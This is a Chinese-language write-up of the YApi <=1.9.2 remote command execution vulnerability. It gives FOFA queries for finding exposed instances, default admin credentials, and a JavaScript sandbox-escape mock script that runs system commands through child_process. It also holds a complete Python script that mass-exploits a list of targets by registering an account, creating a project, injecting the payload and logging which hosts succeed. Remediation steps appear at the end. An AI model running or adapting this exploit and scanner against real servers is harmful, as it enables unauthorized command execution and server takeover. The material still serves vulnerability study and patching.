声明
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
一、漏洞描述
YApi是一个可本地部署的、打通前后端及OA的、可视化的接口管理平台。2021年7月7日互联网上披露YApi管理平台任意命令执行漏洞。若YApi对外开放注册功能,攻击者可在注册并登录后,通过构造特殊的请求执行任意代码,接管服务器。
二、影响版本
- YApi <=
1.9.2
三、FOFA语句
- icon_hash= "-715193973"
- app="YApi"
四、漏洞复现
docker搭建:https://github.com/fjc0k/docker-YApi
git clone
https://github.com/fjc0k/docker-YApi
cd docker-YApi
vim docker-compose.yml
docker-compose up -d
docker-compose.yml 修改为存在漏洞版本,这里使用的是Yapi 版本:1.9.2
启动环境
本地访问网站 http://X.X.X.X:40001
该版本漏洞点为 “登录/注册” 可使用默认账号密码(前提账号密码没有更改过),我们常用的默认账号密码口令如下:
admin@admin.com:ymfe.org
admin@docker.yapi:adm1n
登录之后,点击添加项目并创建项目
添加接口
创建好接口后进入界面点击 “高级Mock” 添加一下代码命令并进行保存,再次点击预览访问Mock地址可查看执行结果。
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()
命令被成功执行!!!
POC:github: https://github.com/j2ekim/YApi_exp
批量检测YApi <=1.9.2 脚本
import requests
import urllib3
import json
import argparse
parser = argparse.ArgumentParser(description="请输入目标地址")
parser.add_argument('-u',type=str,help='请输入url',dest='url',default='')
parser.add_argument('-f',type=str,help='请插入字典',dest='file',default='')
args = parser.parse_args()
Get_url = args.url
Get_file = args.file
def poc_1(get_url):
if(get_url[-1]=='/'):
get_url=get_url[:-1]
print(get_url)
Reg_url=get_url+"/api/user/reg"
headers = {
'Content-Type': 'application/json',
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",
}
data={
'email':'gua@qq.com',
'password':'******',
'username':'Guatest'
}
try:
urllib3.disable_warnings()
Reg_res=requests.post(url=Reg_url,headers=headers,data=json.dumps(data),verify=False,timeout=20)
if Reg_res.json()['errcode']==0:
poc_2(get_url)
else:
print(get_url+" "+Reg_res.text)
except Exception as e:
print(get_url+" poc_1 请求出错")
def poc_2(get_url):
Login_url=get_url+"/api/user/login"
headers = {
'Content-Type': 'application/json',
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",
}
data={
'email':'gua@qq.com',
'password':'******'
}
try:
Login_res=requests.post(url=Login_url,headers=headers,data=json.dumps(data),verify=False,timeout=20)
Login_cookie=Login_res.headers['Set-Cookie'].split(';')[0]+";_yapi_uid="+str(Login_res.json()['data']['uid'])
if Login_res.json()['errcode']==0:
poc_3(get_url,Login_cookie)
else:
print("登陆失败")
except Exception as e:
print(get_url+" poc_2 请求出错")
def poc_3(get_url,Login_cookie):
headers={
'Content-Type': 'application/json',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
'Cookie':Login_cookie
}
Get_id_url=get_url+"/api/group/list"
try:
Get_id_res=requests.get(url=Get_id_url,headers=headers,verify=False,timeout=10)
G_id=str(Get_id_res.json()['data'][0]['_id'])
if Get_id_res.json()['errcode']==0:
poc_4(get_url,G_id,Login_cookie)
else:
print("获取group_id失败")
except Exception as e:
print(get_url+" poc_3 请求出错")
def poc_4(get_url,G_id,Login_cookie):
NewProjecet_url=get_url+"/api/project/add"
data={
'name':'tes',
'basepath':'',
'group_id':G_id,
'icon':'code-o',
'color':'blue',
'project_type':'private'
}
headers = {
'Content-Type': 'application/json',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
'Cookie': Login_cookie
}
try:
NewProjecet_res=requests.post(url=NewProjecet_url,headers=headers,data=json.dumps(data),verify=False,timeout=10)
get_id=str(NewProjecet_res.json()['data']['_id'])
if NewProjecet_res.json()['errcode']==0:
poc_5(get_url,Login_cookie,get_id)
else:
print('创建目录失败失败')
except Exception as e:
print(get_url+" poc_4 请求出错")
def poc_5(get_url,Login_cookie,get_id):
Mock_url=get_url+'/api/project/up'
headers = {
'Content-Type': 'application/json',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
'Cookie': Login_cookie
}
data={
'id':get_id,
'project_mock_script':"const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()",
'is_mock_open':True
}
try:
Mock_res=requests.post(url=Mock_url,headers=headers,verify=False,data=json.dumps(data),timeout=10)
if Mock_res.json()['errcode']==0:
poc_6(get_url, Login_cookie, get_id)
else:
print("mock创建失败")
except Exception as e:
print(get_url+" poc_5 请求出错")
def poc_6(get_url,Login_cookie,get_id):
Cat_id_url=get_url+"/api/interface/list_menu?project_id="+str(get_id)
headers = {
'Content-Type': 'application/json',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
'Cookie': Login_cookie
}
try:
Cat_id_res=requests.get(url=Cat_id_url,headers=headers,verify=False,timeout=10)
Catid=Cat_id_res.json()['data'][0]['_id']
poc_7(get_url,Login_cookie,get_id,Catid)
except Exception as e:
print(get_url+" poc_6请求出错")
def poc_7(get_url,Login_cookie,get_id,Catid):
headers = {
'Content-Type': 'application/json',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
'Cookie': Login_cookie
}
data={
'method':'GET',
'catid':Catid,
'title':'guatest',
'path':'/guatest',
'project_id':get_id
}
port_add_url=get_url+"/api/interface/add"
try:
port_add_res=requests.post(url=port_add_url,data=json.dumps(data),headers=headers,verify=False,timeout=10)
if port_add_res.json()['errcode']==0:
poc_8(get_url,Login_cookie,get_id)
else:
print("接口创建失败")
except Exception as e:
print(get_url+" poc_7 请求出错")
def poc_8(get_url,Login_cookie,get_id):
headers = {
'Content-Type': 'application/json',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
'Cookie': Login_cookie
}
vuln_url=get_url+"/mock/"+str(get_id)+'/guatest'
try:
vuln_res=requests.get(url=vuln_url,headers=headers,verify=False,timeout=10)
print(vuln_url+' '+vuln_res.text)
with open('success.txt', 'a+', encoding="utf-8") as s:
s.write(get_url + ' '+vuln_res.text+'\n')
except Exception as e:
print(get_url+" poc_8 请求出错",e)
def file():
with open(args.file,'r+',encoding='utf-8') as f:
for i in f.readlines():
s = i.strip()
if 'http://' in s:
poc_1(s)
else:
exp1 = 'http://'+s
poc_1(exp1)
if __name__ == '__main__':
try:
if Get_url != '' and Get_file == '':
if 'http://' in Get_url:
poc_1(Get_url)
else:
exp2 = 'http://' + Get_url
poc_1(exp2)
elif Get_url == '' and Get_file != '':
file()
except KeyboardInterrupt:
print("结束进程。。。。")
pass
五、修复建议
1、 更新至最新版本:1.12.0
2、 利用安全安全组设置Yapi仅对可信地址开放。
3、 编辑Yapi目录下的 config.json 文件,设置 closeRegister 为 true,关闭Yapi的前台注册功能。
{
"closeRegister":true
}